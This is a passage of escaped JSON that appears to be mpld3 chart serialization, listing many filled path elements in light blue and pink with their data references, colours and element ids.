\"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114702116432\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114702117712\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114701774352\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114701775184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114701749328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114702135760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114702137424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114702155536\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114702157200\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114702158480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data50\", \"id\": \"el126114702172880\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data51\", \"id\": \"el126114702174544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114702188560\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data53\", \"id\": \"el126114702190224\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114702191504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114702201808\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114702203472\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data57\", \"id\": \"el126114702217488\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data58\", \"id\": \"el126114702219152\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data59\", \"id\": \"el126114702233168\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data60\", \"id\": \"el126114702234832\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data61\", \"id\": \"el126114702236496\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data61\", \"id\": \"el126114702254608\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 3, \"data\": \"data61\", \"id\": \"el126114702256272\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114702262096\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114702263824\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114702265104\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114702283600\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114702285264\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114702295184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114702296848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114702314960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114702316624\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114702318288\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114702328208\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114702329872\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114702339792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114702341456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114702343120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114702357136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114702358800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114702372816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114702374480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114702375760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114702386064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114702387728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114702401744\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114702403408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114702421520\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114702423184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114702424848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114702438864\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114702440528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114702450448\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114702452112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114702453392\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114702467792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114702469456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114702483472\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114702485136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114702486416\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114702500816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114702502480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114702516496\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114702518160\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114702532176\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114702533840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114702535504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114702553616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114702555280\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114702561104\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114702562768\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114702564048\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data02\", \"id\": \"el126114702582544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data01\", \"id\": \"el126114702584208\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114702594128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data52\", \"id\": \"el126114702595792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114702597072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114702615568\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114702617232\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 